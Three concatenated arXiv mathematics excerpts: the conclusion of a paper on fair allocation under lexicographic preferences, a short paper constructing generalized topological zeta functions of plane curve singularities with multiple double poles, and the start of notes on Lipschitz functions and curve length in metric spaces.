We also observe a general trend in our plots that $\{\EF1{},\textrm{\textup{MMS}}{}\}+\textrm{\textup{RM}}{}$ allocations tend to exist more frequently as the number of goods increases. This together with the similar increasing trend for \EF{}+\textrm{\textup{RM}}{} and \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{}, suggests that the distributional approach could be a promising avenue for addressing the non-existence result in \Cref{eg:EFk+RM_NonExistence}.
\section{Concluding Remarks}
We studied the interplay of fairness and efficiency under lexicographic preferences, obtaining strong algorithmic characterizations for \textrm{\textup{EFX}}{} and Pareto optimality that addressed notable gaps in the additive valuations model, and outlining the computational limits of our approach for the stronger efficiency notion of rank-maximality.
A natural extension to our preference model is including ties or weak orders where lexicographic preferences are over `equivalence classes'. Clearly, the computational intractability and incompatibility results in this paper extend to this larger class.
When preferences can include ties, several intricate axiomatic and technical challenges may arise. An interesting future direction is to start from mechanisms proposed by \citet{krysta2014size} and \citet{bogomolnaia2005strategy} for achieving strategyproof and \textup{PO}{} allocations, and investigate the existence and compatibility of \textrm{\textup{EFX}}{} along with other desirable properties.
Going forward, it would be interesting to develop distribution-specific algorithms that can compute \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} (or \EF{1}+\textrm{\textup{RM}}{}) allocations with, say, a constant probability. Extending our algorithmic characterization results to other fairness notions, specifically \EF{1} and \textrm{\textup{MMS}}{}, will also be of interest.
\section*{Acknowledgments}
HH acknowledges support from NSF grant \#1850076. RV acknowledges support from ONR\#N00014-171-2621 while he was affiliated with Rensselaer Polytechnic Institute, and is currently supported by project no. RTI4001 of the Department of Atomic Energy, Government of India. Part of this work was done while RV was supported by the Prof. R Narasimhan postdoctoral award. LX acknowledges support from NSF \#1453542 and \#1716333, ONR \#N00014-171-2621, and a gift fund from Google. We thank the anonymous reviewers for their very helpful comments and suggestions.
\bibliographystyle{named}
|
1,477,468,750,076 | arxiv | \section{Introduction}
W. Veys determined all poles of the local topological zeta function of an isolated singular point of a plane curve \cite{V}. In particular, he showed \cite[Theorem 4.2]{V} that there is at most one pole of order two, and, if there is such a pole of order two, it is the largest pole, and its value is the opposite of the log canonical threshold of the singular point. Later, Veys conjetured that the analogous statements hold for arbitrary dimension \cite[Conjecture 0.2]{LV}, and proved, together with A. Laeremans, the result for polynomials that are non-degenerate with respect to their Newton polyhedron at the origin. They also noticed that a double pole must be of the form $-1/n$ for some $n \in \mathbb{N} \backslash \{0\}$ \cite[Corollary 3.4]{LV}. Finally, the conjecture has recently been established by J. Nicaise and C. Xu \cite[Theorem 3.5]{NX}.
Loeser already proved \cite{L} that if $s_0$ is a pole of order two of topological zeta functions of a singular point of a reduced plane curve, then the monodromy operator of the Milnor fibration of the singular point has a Jordan block of size two for the eigenvalue exp$(2 \pi i s_0)$. This fact has been generalized, answering a question of C.T.C. Wall \cite{W}, for non reduced plane curves by A. Melle-Hern\'andez, T. Torelli and W. Veys \cite{MTV}.
Motivated by the remark that the poles of the topological zeta function determine only a few eigenvalues of the monodromy of the singular point, A. Némethi and W. Veys proposed to study generalized topological zeta functions. Generalized topological zeta functions are associated to a function and an \emph{allowed} differential form. The collection of allowed differential forms for a given funcion $f$ must verify the following three conditions: (1) The standard differential form is allowed. (2) If $s_0$ is a pole of the generalized zeta function associated to the given function and an allowed differential form, then exp$(2 \pi i s_0)$ is an eigenvalue of the monodromy. (3) Any eigenvalue is of the form exp$(2 \pi i s_0)$ for a pole $s_0$ of the generalized zeta function associated to some allowed form.
In this note, we show some examples of generalized zeta functions associated to an isolated plane curve singular point and an allowed that have several poles of order two. We also discuss on some examples which combinations of order~two poles can appear and find examples where the
double pole is not of the form $-1/n$.
\section{Generalized local topological zeta functions}
Let us define the local topological zeta function associated to an isolated singular point of a plane curve defined by $f: \mathbb{C}^2 \rightarrow \mathbb{C}$ and a differential form $\omega$.
Let $\pi : X \rightarrow \mathbb{C}^2$ be an embedded resolution of $f^{-1}(0) \cup {\rm div}(\omega)$. We will consider only holomorphic forms $\omega$ such that an embedded
resolution of $f^{-1}(0)$ is also a resolution of $f^{-1}(0) \cup {\rm div}(\omega)$ and the branching components of both resolutions coincide.
We denote by $E_i$, $i \in S$, the irreducible components (exceptional divisors and strict transforms)
of the inverse image $\pi^{-1}(f^{-1}(0) \cup {\rm div}(\omega))$. We denote
by $N_i$ and $\nu_i - 1$ the multiplicities of $E_i$ in the divisor of $\pi^* f$ and $\pi^* \omega$, respectively. The family $\{(N_i, \nu_i)\}_{i \in S}$ is called the numerical data of the resolution $(X,\pi, f, \omega)$.
We consider the stratification of $X$ in locally closed subsets given by the subsets
\[
\mathring{E}_I :=
\left(\bigcap_{i \in I} E_i\right) \setminus\left(\bigcup_{j \not \in I} E_j \right)
\quad \text{for } I \subset S.
\]
\begin{definition} The (local) topological zeta function of $(f, \omega)$ at $0 \in \mathbb{C}$
is
$$Z_{\text{top}}(f, \omega; s) := \sum_{I \subset S} \chi(\mathring{E}_I \cap \pi^{-1}(0)) \prod_{i \in I} \frac{1}{\nu_i + sN_i} \in \mathbb{Q}(s).$$
\end{definition}
\begin{example}\label{ex:fab}
Let us consider the following two families of cuspidal singular points of complex plane curve.
\begin{itemize}
\item $g_a=(x-ay^2)^2+y^5$, defines a $(2,5)$ cusp tangent to $\{x=0\}$ for any $a \in \mathbb{C}$,
\item $h_b= (y-bx^2)^3+x^7$, defines a $(3,7)$ cusp tangent to $\{y=0\}$ for any $b \in \mathbb{C}$.
\end{itemize}
For any choice $a, b \in \mathbb{C}$ with $a, b \ne 1$, and $a \ne b$, the product
$$
f_{a,b}:= g_{1} \cdot g_{a} \cdot g_{b} \cdot h_1 \cdot h_{-1}
$$
defines an isolated singular point of a plane curve with 5 branches.
The dual resolution graph and the numerical data of $f_{a,b}$
and the differential form
$\omega = dxdy$ are shown in Figure~\ref{fig:5branches}. Notice that the default numerical data of arrows are $(1,1)$.
\begin{figure}[ht]
\begin{center}
\begin{tikzpicture}[vertice/.style={draw,circle,fill,minimum size=0.2cm,inner sep=0}]
\coordinate (U) at (0,0);
\coordinate (A1) at (-4,1);
\coordinate (B1) at (4,1);
\coordinate (A11) at (-6,2);
\coordinate (A12) at (-4,2);
\coordinate (A13) at (-2,2);
\coordinate (B11) at (5,2);
\coordinate (B12) at (3,2);
\coordinate (A21) at (-6,3);
\coordinate (A22) at (-4,3);
\coordinate (A23) at (-2,3);
\coordinate (B21) at (5,3);
\coordinate (B22) at (3,3);
\coordinate (B31) at (5,4);
\coordinate (B32) at (3,4);
\node[vertice] at (U) {};
\node[below] at (U) {$(12,2)$};
\node[vertice] at (A1) {};
\node[below left] at (A1) {$(18,3)$};
\node[vertice] at (B1) {};
\node[below right] at (B1) {$(18,3)$};
\node[vertice] at (A11) {};
\node[below left] at (A11) {$(38,7)$};
\node[vertice] at (A12) {};
\node[above right] at (A12) {$(38,7)$};
\node[vertice] at (A13) {};
\node[below right] at (A13) {$(38,7)$};
\node[vertice] at (B11) {};
\node[below right] at (B11) {$(57,10)$};
\node[vertice] at (B12) {};
\node[below left] at (B12) {$(57,10)$};
\node[vertice] at (A21) {};
\node[above] at (A21) {$(19,4)$};
\node[vertice] at (A22) {};
\node[above] at (A22) {$(19,4)$};
\node[vertice] at (A23) {};
\node[above] at (A23) {$(19,4)$};
\node[vertice] at (B21) {};
\node[right] at (B21) {$(38,7)$};
\node[vertice] at (B22) {};
\node[left] at (B22) {$(38,7)$};
\node[vertice] at (B31) {};
\node[right] at (B31) {$(19,4)$};
\node[vertice] at (B32) {};
\node[left] at (B32) {$(19,4)$};
\draw (U)--(A1)--(A11)--(A21);
\draw (A1)--(A12)--(A22);
\draw (A1)--(A13)--(A23);
\draw (U)--(B1)--(B11)--(B21)--(B31);
\draw (B1)--(B12)--(B22)--(B32);
\draw[-{[scale=1.5]>}] (A11)--($(A11)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (A12)--($(A12)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (A13)--($(A13)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (B11)--($(B11)-(1,0)$) ;
\draw[-{[scale=1.5]>}] (B12)--($(B12)+(-1,0)$) ;
\end{tikzpicture}
\caption{Dual graph of the embedded resolution of $f_{a,b}$.}
\label{fig:5branches}
\end{center}
\end{figure}
The Milnor number of $f_{ab}^{-1}(0)$ at the origin is 188 and the monodromy operator associated to its Milnor fibration has 9 Jordan blocks of size $2$. The eigenvalues (resp. the eigenvalues corresponding to the Jordan blocks of size $2$) are given by the roots of
$$
\frac{(t-1)(t^{57}-1)^2(t^{38}-1)^3(t^{18}-1)^3}{(t^{19}-1)^5} \qquad (\text{resp.} \quad \frac{(t^3-1)(t^6-1)(t^2-1)^2}{(t-1)^4}).
$$
The local topological zeta function has a pole ($-1/6$) of order two, due to the subgraph formed by the three vertices with decorations $(12,2)$
and $(18,3)$ and the edges between them, and it is given by
$$Z_{\text{top}}(f_{ab},\omega; s)=
\frac{70 +1051 s+5138 s^2+7864 s^3 -1368 s^{4}}{{\left(57 \, s + 10\right)} {\left(38 \, s + 7\right)} {\left(6 \, s + 1\right)}^{2} {\left(s + 1\right)}}
.$$
\end{example}
\section{Examples with several poles of order two}
The following examples show how to produce several poles of order two considering allowed differential forms.
\begin{example}\label{ex:fab1} Let us consider $f_{ab}$ from Example~\ref{ex:fab}
together with the differential form $\omega_1=x^3dxdy$. Assuming that $a \neq 0$, the dual resolution graph
is in Figure~\ref{fig:omega1}, showing also the numerical data of $f$
and the differential form
$\omega_1$. Again, the default numerical data of (solid) arrows are $(1,1)$; dashed rows correspond
to the strict transform of $(\omega_1)$.
\begin{figure}[ht]
\begin{center}
\begin{tikzpicture}[vertice/.style={draw,circle,fill,minimum size=0.2cm,inner sep=0}]
\coordinate (U) at (0,0);
\coordinate (A1) at (-4,1);
\coordinate (B1) at (4,1);
\coordinate (A11) at (-6,2);
\coordinate (A12) at (-4,2);
\coordinate (A13) at (-2,2);
\coordinate (B11) at (5,2);
\coordinate (B12) at (3,2);
\coordinate (A21) at (-6,3);
\coordinate (A22) at (-4,3);
\coordinate (A23) at (-2,3);
\coordinate (B21) at (5,3);
\coordinate (B22) at (3,3);
\coordinate (B31) at (5,4);
\coordinate (B32) at (3,4);
\node[vertice] at (U) {};
\node[below] at (U) {$(12,5)$};
\node[vertice] at (A1) {};
\node[below left] at (A1) {$(18,9)$};
\node[vertice] at (B1) {};
\node[below right] at (B1) {$(18,6)$};
\node[vertice] at (A11) {};
\node[below left] at (A11) {$(38,19)$};
\node[vertice] at (A12) {};
\node[above right] at (A12) {$(38,19)$};
\node[vertice] at (A13) {};
\node[below right] at (A13) {$(38,19)$};
\node[vertice] at (B11) {};
\node[below right] at (B11) {$(57,19)$};
\node[vertice] at (B12) {};
\node[below left] at (B12) {$(57,19)$};
\node[vertice] at (A21) {};
\node[above] at (A21) {$(19,10)$};
\node[vertice] at (A22) {};
\node[above] at (A22) {$(19,10)$};
\node[vertice] at (A23) {};
\node[above] at (A23) {$(19,10)$};
\node[vertice] at (B21) {};
\node[right] at (B21) {$(38,13)$};
\node[vertice] at (B22) {};
\node[left] at (B22) {$(38,13)$};
\node[vertice] at (B31) {};
\node[right] at (B31) {$(19,7)$};
\node[vertice] at (B32) {};
\node[left] at (B32) {$(19,7)$};
\draw (U)--(A1)--(A11)--(A21);
\draw (A1)--(A12)--(A22);
\draw (A1)--(A13)--(A23);
\draw (U)--(B1)--(B11)--(B21)--(B31);
\draw (B1)--(B12)--(B22)--(B32);
\draw[-{[scale=1.5]>}] (A11)--($(A11)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (A12)--($(A12)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (A13)--($(A13)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (B11)--($(B11)-(1,0)$) ;
\draw[-{[scale=1.5]>}] (B12)--($(B12)+(-1,0)$) ;
\draw[-{[scale=1.5]>},dashed] (A1)--($(A1)+(-2,0)$) node[left] {$(0,4)$} ;
\end{tikzpicture}
\caption{Embedded resolution of $f_{ab}\omega_1$.}
\label{fig:omega1}
\end{center}
\end{figure}
Now, the local topological zeta function has two poles ($-1/2$ and $-1/3$) of order two, and it is given by
$$
Z_{\text{top}}(f_{ab},\omega_1; s)=
\frac{57+357 \, s+625 \, s^2 + 31\, s^3 - 486 \, s^{4}}{228 \, {\left(3 \, s + 1\right)}^{2} {\left(2 \, s + 1\right)}^{2} {\left(s + 1\right)}}
.$$
The pole $-1/2$ is due to the the vertices with decorations $(18,9)$ and $(38,19)$ and the edges between them. The pole $-1/3$
is due to the the vertices with decorations $(18,6)$ and $(57,19)$ and the edges between them.
\end{example}
\begin{example}\label{ex:fab2} Let us consider $f_{ab}$ from Example~\ref{ex:fab} together with the differential form
$$\omega_2=x(x-y^2)^2(x-ay^2)^2(x-by^2)^2y^2(y-x^2)^4(y+x^2)^4dxdy.$$
Assuming that $ab \ne 0$, the dual resolution graph and the numerical data of $f_{ab}$
and the differential form
$\omega_2$ are in Figure~\ref{fig:omega2}. Again, the default numerical data of (solid) arrows are~$(1,1)$
and dashed arrows correspond to the strict transform of~$(\omega_2)$.
\begin{figure}[ht]
\begin{center}
\begin{tikzpicture}[vertice/.style={draw,circle,fill,minimum size=0.2cm,inner sep=0}]
\coordinate (U) at (0,0);
\coordinate (A1) at (-4,1);
\coordinate (B1) at (4,1);
\coordinate (A11) at (-6,2);
\coordinate (A12) at (-4,2);
\coordinate (A13) at (-2,2);
\coordinate (B11) at (5,2);
\coordinate (B12) at (3,2);
\coordinate (A21) at (-6,3);
\coordinate (A22) at (-4,3);
\coordinate (A23) at (-2,3);
\coordinate (B21) at (5,3);
\coordinate (B22) at (3,3);
\coordinate (B31) at (5,4);
\coordinate (B32) at (3,4);
\node[vertice] at (U) {};
\node[below] at (U) {$(12,19)$};
\node[vertice] at (A1) {};
\node[below left] at (A1) {$(18,27)$};
\node[vertice] at (B1) {};
\node[below right] at (B1) {$(18,30)$};
\node[vertice] at (A11) {};
\node[below left] at (A11) {$(38,57)$};
\node[vertice] at (A12) {};
\node[above right] at (A12) {$(38,57)$};
\node[vertice] at (A13) {};
\node[below right] at (A13) {$(38,57)$};
\node[vertice] at (B11) {};
\node[below right] at (B11) {$(57,95)$};
\node[vertice] at (B12) {};
\node[below left] at (B12) {$(57,95)$};
\node[vertice] at (A21) {};
\node[left] at (A21) {$(19,30)$};
\node[vertice] at (A22) {};
\node[left] at (A22) {$(19,30)$};
\node[vertice] at (A23) {};
\node[right] at (A23) {$(19,30)$};
\node[vertice] at (B21) {};
\node[right] at (B21) {$(38,65)$};
\node[vertice] at (B22) {};
\node[left] at (B22) {$(38,65)$};
\node[vertice] at (B31) {};
\node[right] at (B31) {$(19,35)$};
\node[vertice] at (B32) {};
\node[left] at (B32) {$(19,35)$};
\draw (U)--(A1)--(A11)--(A21);
\draw (A1)--(A12)--(A22);
\draw (A1)--(A13)--(A23);
\draw (U)--(B1)--(B11)--(B21)--(B31);
\draw (B1)--(B12)--(B22)--(B32);
\draw[-{[scale=1.5]>}] (A11)--($(A11)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (A12)--($(A12)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (A13)--($(A13)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (B11)--($(B11)-(1,0)$) ;
\draw[-{[scale=1.5]>}] (B12)--($(B12)+(-1,0)$) ;
\draw[-{[scale=1.5]>},dashed] (A1)--($(A1)+(-2,0)$) node[left] {$(0,2)$} ;
\draw[-{[scale=1.5]>},dashed] (B1)--($(B1)+(2,0)$) node[right] {$(0,3)$} ;
\draw[-{[scale=1.5]>},dashed] (A21)--($(A21)+(0,1)$) node[left] {$(0,3)$} ;
\draw[-{[scale=1.5]>},dashed] (A22)--($(A22)+(0,1)$) node[left] {$(0,3)$} ;
\draw[-{[scale=1.5]>},dashed] (A23)--($(A23)+(0,1)$) node[right] {$(0,3)$} ;
\draw[-{[scale=1.5]>},dashed] (B31)--($(B31)+(0,1)$) node[left] {$(0,5)$} ;
\draw[-{[scale=1.5]>},dashed] (B32)--($(B32)+(0,1)$) node[left] {$(0,5)$} ;
\end{tikzpicture}
\caption{Embedded resolution of $f_{ab}\omega_2$.}
\label{fig:omega2}
\end{center}
\end{figure}
In this example, the local topological zeta function has two poles ($-3/2$ and $-5/3$) of order two, and it is given by
$$Z_{\text{top}}(f_{ab},\omega_2; s)=
-\frac{16734 \, s^{4} + 88541 \, s^{3} + 168881 \, s^{2} + 134709 \, s + 36195}{1710 \, {\left(3 \, s + 5\right)}^{2} {\left(2 \, s + 3\right)}^{2} {\left(s + 1\right)}}
.$$
The pole $-3/2$ is due to the the vertices with decorations $(18,27)$ and $(38,57)$ and the edges between them. The pole $-5/3$
is due to the the vertices with decorations $(18,30)$ and $(57,95)$ and the edges between them.
\end{example}
\begin{remark}It is not hard to prove that it is impossible
to find any pair of double poles. First, if the pole attached to the first exceptional component
is double, no other double pole exists. This is the case of the poles of the form $-\frac{1}{6} - k$, and $-\frac{5}{6}-k$, for some $k \in \mathbb{Z}_{>0}$. Notice that $-\frac{1}{6}$ (resp. $-\frac{5}{6}$) is attained with the standard differential form (resp. with the form $\omega_3=(xy)^4dxdy$), see Examples \ref{ex:fab}, and \ref{ex:fab3}. Moreover, it is not possible to simultaneously achieve double poles of the forms $-\frac{1}{3}-k$, and $-\frac{2}{3}-k$, because $3$ does not divide $\gcd(18,38)$. The other combinations are attained in Examples \ref{ex:fab1}, and \ref{ex:fab2}. However, not all choices for $k$ are possible. For instance, one can check that double poles $-\frac{2}{3}$ and $-\frac{3}{2}$
cannot happen simultaneously.
\end{remark}
\section{Poles distinct from \texorpdfstring{$-1/n$}{-1/n}}
The following examples show how to produce poles of order two distinct from $-1/n$ considering allowed differential forms.
\begin{example}\label{ex:fab3} Let us consider consider $f_{ab}$ from Example~\ref{ex:fab} together with the differential form $\omega_3=(xy)^4dxdy$. The dual resolution graph and the numerical data of $f$
and the differential form
$\omega_2$ are in Figure~\ref{fig:omega3}. Again, the default numerical data of (solid) arrows are~$(1,1)$
and dashed arrows correspond to the strict transform of~$(\omega_3)$.
\begin{figure}[ht]
\begin{center}
\begin{tikzpicture}[vertice/.style={draw,circle,fill,minimum size=0.2cm,inner sep=0}]
\coordinate (U) at (0,0);
\coordinate (A1) at (-4,1);
\coordinate (B1) at (4,1);
\coordinate (A11) at (-6,2);
\coordinate (A12) at (-4,2);
\coordinate (A13) at (-2,2);
\coordinate (B11) at (5,2);
\coordinate (B12) at (3,2);
\coordinate (A21) at (-6,3);
\coordinate (A22) at (-4,3);
\coordinate (A23) at (-2,3);
\coordinate (B21) at (5,3);
\coordinate (B22) at (3,3);
\coordinate (B31) at (5,4);
\coordinate (B32) at (3,4);
\node[vertice] at (U) {};
\node[below] at (U) {$(12,10)$};
\node[vertice] at (A1) {};
\node[below left] at (A1) {$(18,15)$};
\node[vertice] at (B1) {};
\node[below right] at (B1) {$(18,15)$};
\node[vertice] at (A11) {};
\node[below left] at (A11) {$(38,31)$};
\node[vertice] at (A12) {};
\node[above right] at (A12) {$(38,31)$};
\node[vertice] at (A13) {};
\node[below right] at (A13) {$(38,31)$};
\node[vertice] at (B11) {};
\node[below right] at (B11) {$(57,46)$};
\node[vertice] at (B12) {};
\node[below left] at (B12) {$(57,46)$};
\node[vertice] at (A21) {};
\node[above] at (A21) {$(19,16)$};
\node[vertice] at (A22) {};
\node[above] at (A22) {$(19,16)$};
\node[vertice] at (A23) {};
\node[above] at (A23) {$(19,16)$};
\node[vertice] at (B21) {};
\node[right] at (B21) {$(38,31)$};
\node[vertice] at (B22) {};
\node[left] at (B22) {$(38,31)$};
\node[vertice] at (B31) {};
\node[right] at (B31) {$(19,16)$};
\node[vertice] at (B32) {};
\node[left] at (B32) {$(19,16)$};
\draw (U)--(A1)--(A11)--(A21);
\draw (A1)--(A12)--(A22);
\draw (A1)--(A13)--(A23);
\draw (U)--(B1)--(B11)--(B21)--(B31);
\draw (B1)--(B12)--(B22)--(B32);
\draw[-{[scale=1.5]>}] (A11)--($(A11)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (A12)--($(A12)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (A13)--($(A13)+(1,0)$) ;
\draw[-{[scale=1.5]>}] (B11)--($(B11)-(1,0)$) ;
\draw[-{[scale=1.5]>}] (B12)--($(B12)+(-1,0)$) ;
\draw[-{[scale=1.5]>},dashed] (A1)--($(A1)+(-2,0)$) node[left] {$(0,5)$} ;
\draw[-{[scale=1.5]>},dashed] (B1)--($(B1)+(2,0)$) node[right] {$(0,5)$} ;
\end{tikzpicture}
\caption{Embedded resolution of $f_{ab}\omega_3$.}
\label{fig:omega3}
\end{center}
\end{figure}
The local topological zeta function has a pole ($-5/6$) of order two, and it is given by
$$Z_{\text{top}}(f_{ab},\omega_3; s)=
\frac{-41496 \, s^4 - 91616 \, s^3 - 55926 \, s^2 + 1559 \, s + 7130}{5 \, {\left( 6 \, s + 5 \right)}^2 {\left(38 \, s + 31 \right)} {\left(57 \, s + 46 \right)} {\left( s + 1 \right)}}.$$
\end{example}
\begin{example} Let us consider $g_{p,q}=(y^p+x^q)(y^q+x^p)$, $1<p<q$, $\gcd(p,q)=1$, $\omega=(xy)^{a-1}dxdy$, $a\geq 1$.
An embedded resolution of $(g_{p,q},\omega)$ has too many irreducible components, but in
\cite[Example 4.6]{AMO} we have a $\mathbf{Q}$-resolution with few strata,
see~Figure~\ref{fig:acampo-gen}, where $[\bullet]$ stands for the order of the group associated to the $0$-dimensional stratum, see the explanation below.
\begin{figure}[ht]
\begin{center}
\begin{tikzpicture}[scale=1.5,vertice/.style={draw,circle,fill,minimum size=0.15cm,inner sep=0}]
\draw ($1.25*(0,0)-.25*(-1,1)$) -- ($-.25*(0,0)+1.25*(-1,1)$);
\draw ($1.25*(0,0)-.25*(1,1)$) -- ($-.25*(0,0)+1.25*(1,1)$);
\draw[->] ($(-.5,.5)-.25*(1,1)$) -- ($(-.5,.5)+.25*(1,1)$) node[pos=-.4] {$\boxed{1+s}$};
\draw[->] ($(.5,.5)-.25*(-1,1)$) -- ($(.5,.5)+.25*(-1,1)$) node[above right,pos=.0] {$\boxed{1+s}$};
\draw[->,dashed] ($(-1,1)-.25*(1,1)$) -- ($(-1,1)+.25*(1,1)$) node[pos=-.4] {$\boxed{a}$};
\draw[->,dashed] ($(1,1)-.25*(-1,1)$) -- ($(1,1)+.25*(-1,1)$) node[above,pos=1] {$\boxed{a}$};
\node[vertice] at (0,0) {};
\node[right] at (.1,0) {$[q^2-p^2]$};
\node[vertice] at (1,1) {};
\node[left=2pt] at (1,1) {$[p]$};
\node[vertice] at (-1,1) {};
\node[right=2pt] at (-1,1) {$[p]$};
\node[left] at ($-.25*(0,0)+1.25*(-1,1)$) {$\boxed{(p+q)(a+ps)}$};
\node[right] at ($-.25*(0,0)+1.25*(1,1)$) {$\boxed{(p+q)(a+ps)}$};
\end{tikzpicture}
\caption{$\mathbf{Q}$-resolution of $(y^p+x^q)(y^q+x^p)$.}
\label{fig:acampo-gen}
\end{center}
\end{figure}
The concept of an embedded $\mathbf{Q}$-resolution
$\pi : X \rightarrow \mathbb{C}^2$ was introduced in~\cite{Qres}. For dimension~$2$, we mean that a finite
set of points in the exceptional divisor may be quotient singularities for some cyclic group; the preimage
of the total divisor satisfies a natural condition of $\mathbb{Q}$-normal crossings.
In this case there are also some strata $p_1^i,\dots,p_i^{n_i}$
such that $(X,p_j^i)\cong(\mathbb{C}^2,0)/G_j^i$ where
$G_j^i$ is a group of order $m_i^j>1$ with a small action on~$\mathbb{C}^2$. The
one-dimensional strata will be of the form $\mathring{E}_i=E_i\setminus\left(\bigcup_{j\neq i} E_j\cup\{p_1^1,\dots,p_{n_i}^i\}\right)$. The intersection of two components $E_i\cap E_j$ has also associated an order $m_{i,j}\geq 1$.
Following~\cite{V1} we have:
\[
Z_{\text{top}}(f, \omega; s) = \sum_{i\in I} \frac{\chi(\mathring{E}_i)+\sum_{j=1}^{n_i}m_i^j}{\nu_i + sN_i}+
\sum_{E_i\cap E_j\neq\emptyset} \frac{m_{i,j}}{(\nu_i + sN_i)(\nu_j + sN_j)} \in \mathbb{Q}(s).
\]
Applying the formula we obtain
\[
Z_{\text{top}}(g_{p,q}, \omega; s)=
\frac{q-p}{q+p}\frac{1}{(a+p s)^2}+
\frac{2}{{\left(a - p\right)} {\left(q+p\right)}}
\left(\frac{1}{1+s}+\frac{{\left(a p - p^{2} - 1\right)} a}{a+p s}\right).
\]
In particular, for $a\not\equiv0\mod{p}$, we obtain that $-\frac{a}{p}$
is a double pole.\end{example}
\providecommand{\bysame}{\leavevmode\hbox to3em{\hrulefill}\thinspace}
\providecommand{\MR}{\relax\ifhmode\unskip\space\fi MR }
\providecommand{\MRhref}[2]{%
\href{http://www.ams.org/mathscinet-getitem?mr=#1}{#2}
}
\providecommand{\href}[2]{#2}
|
1,477,468,750,077 | arxiv | \section{Basic notions}
\setcounter{equation}{0}
Let us begin by reviewing some aspects of analysis on metric
spaces. Let $(M, d(x, y))$ and $(N, \rho(u, v))$ be metric spaces,
let $\alpha$ be a positive real number, and let $C$ be a nonnegative
real number. A mapping $f : M \to N$ is said to be
\emph{$C$-Lipschitz of order $\alpha$} if
\begin{equation}
\rho(f(x), f(y)) \le C \, d(x, y)^\alpha
\end{equation}
for every $x, y \in M$. For example, constant functions are
$0$-Lipschitz of every order and are the only $0$-Lipschitz functions,
and the identity mapping $f(x) = x$ is $1$-Lipschitz of order $1$ as a
mapping from $M$ to $M$. If $f(x)$ is a continuously-differentiable
real or complex-valued function on the real line, then $f(x)$ is
$C$-Lipschitz of order $1$ if and only if $|f'(x)| \le C$ for every $x
\in {\bf R}$.
If $f_1$, $f_2$ are complex-valued functions on a metric
space $M$ which are $C_1$, $C_2$-Lipschitz of order $\alpha$ for some
$\alpha > 0$ and $C_1, C_2 \ge 0$, then it is easy to see that $f_1 +
f_2$ is $(C_1 + C_2)$-Lipschitz of order $\alpha$. If $f$ is a
complex-valued $C$-Lipschitz function of order $\alpha$ on $M$ and $a$
is a complex number, then $a \, f$ is $(|a| \, C)$-Lipschitz function
of order $\alpha$. If $f_1$, $f_2$ are also bounded, then the product
$f_1 \, f_2$ is Lipschitz of order $\alpha$ too. The composition of a
Lipschitz mapping of order $\alpha$ and a Lipschitz mapping of order
$\beta$ is Lipschitz of order $\alpha \, \beta$. Lipschitz mappings
of any order are uniformly continuous.
For each $p \in M$, $d(x, p) \le d(y, p) + d(x, y)$ for every
$x, y \in M$ by the triangle inequality, and similarly with $x$ and
$y$ interchanged. This implies that $f_p(x) = d(x, p)$ is a
real-valued $1$-Lipschitz function of order $1$. If $0 < \alpha \le
1$ and $r$, $t$ are nonnegative real numbers, then $\max(r, t) \le
(r^\alpha + t^\alpha)^{1/\alpha}$, which implies that
\begin{equation}
r + t \le \max(r, t)^{1-\alpha} \, (r^\alpha + t^\alpha)
\le (r^\alpha + t^\alpha)^{1/\alpha},
\end{equation}
or $(r + t)^\alpha \le r^\alpha + t^\alpha$. It follows that $f_{p,
\alpha} = d(x, p)^\alpha$ is a $1$-Lipschitz function of order
$\alpha$ for every $p \in M$ when $\alpha \le 1$, for the same reasons
as for $\alpha = 1$.
By contrast, if $f$ is a real or complex-valued Lipschitz
function of order $\alpha > 1$ on the real line, then $f'(x) = 0$ for
every $x \in {\bf R}$, and $f$ is constant. The same argument works
on Euclidean spaces of any dimension, but there are metric spaces with
nonconstant Lipschitz functions of order $> 1$. On the Cantor set
there are nontrivial locally constant functions, for instance. There
are also connected and locally connected snowflake sets with
nonconstant Lipschitz functions of order $> 1$.
Let $(M, d(x, y))$ be a metric space, and suppose that $a$,
$b$ are real numbers with $a \le b$ and that $p : [a, b] \to M$ is a
continuous curve in $M$. If $\mathcal{P} = \{t_\ell\}_{\ell = 1}^n$
is a partition of $[a, b]$, which means that
\begin{equation}
a = t_0 < t_1 < \cdots < t_n = b,
\end{equation}
then put
\begin{equation}
\lambda(\mathcal{P}) = \sum_{\ell = 1}^n d(p(t_{\ell - 1}), p(t_\ell)).
\end{equation}
We say that $p$ has finite length in $M$ if there is an upper bound
for $\lambda(\mathcal{P})$ over all partitions $\mathcal{P}$ of $[a,
b]$, in which case the length $\lambda$ of $p$ is defined to be the
supremum of $\lambda(\mathcal{P})$. This is the same as saying that
$p$ has bounded variation when $M$ is ${\bf R}$ or ${\bf C}$. If $p :
[a, b] \to M$ is a continuous curve of length $\lambda$, then $d(p(a),
p(b)) \le \lambda$. The restriction of $p$ to any subinterval of $[a,
b]$ is a continuous curve with length $\le \lambda$, and hence the
diameter of $p([a, b])$ is $\le \lambda$. Note that a continuous
curve has length equal to $0$ if and only if it is constant.
Suppose that $\mathcal{P}$, $\mathcal{P}'$ are partitions of
$[a, b]$ and that $\mathcal{P}'$ is a refinement of $\mathcal{P}$,
which is to say that each term in $\mathcal{P}$ is also in
$\mathcal{P}'$. Using the triangle inequality, one can check that
$\lambda(\mathcal{P}) \le \lambda(\mathcal{P}')$. As a consequence,
it suffices to use partitions of $[a, b]$ that contain a fixed element
$r \in [a, b]$ in order to determine the length of $p$. This implies
that the length of $p$ on $[a, b]$ is equal to the sum of the lengths
of $p$ on $[a, r]$ and on $[r, b]$ for each $r \in [a, b]$. If $p :
[a, b] \to M$ is $C$-Lipschitz of order $1$, then $p$ has finite
length $\le C \, (b - a)$. Conversely, a continuous path of finite
length $\lambda$ can be reparameterized to get a $1$-Lipschitz curve
on an interval of length equal to $\lambda$. This basically uses the
arc-length parameterization of $p$.
If $p : [a, b] \to M$ is a continuous path of length $\lambda$
and $f$ is a $C$-Lipschitz complex-valued function of order $1$ on
$M$, then $f \circ p$ is a function of bounded variation on $[a, b]$
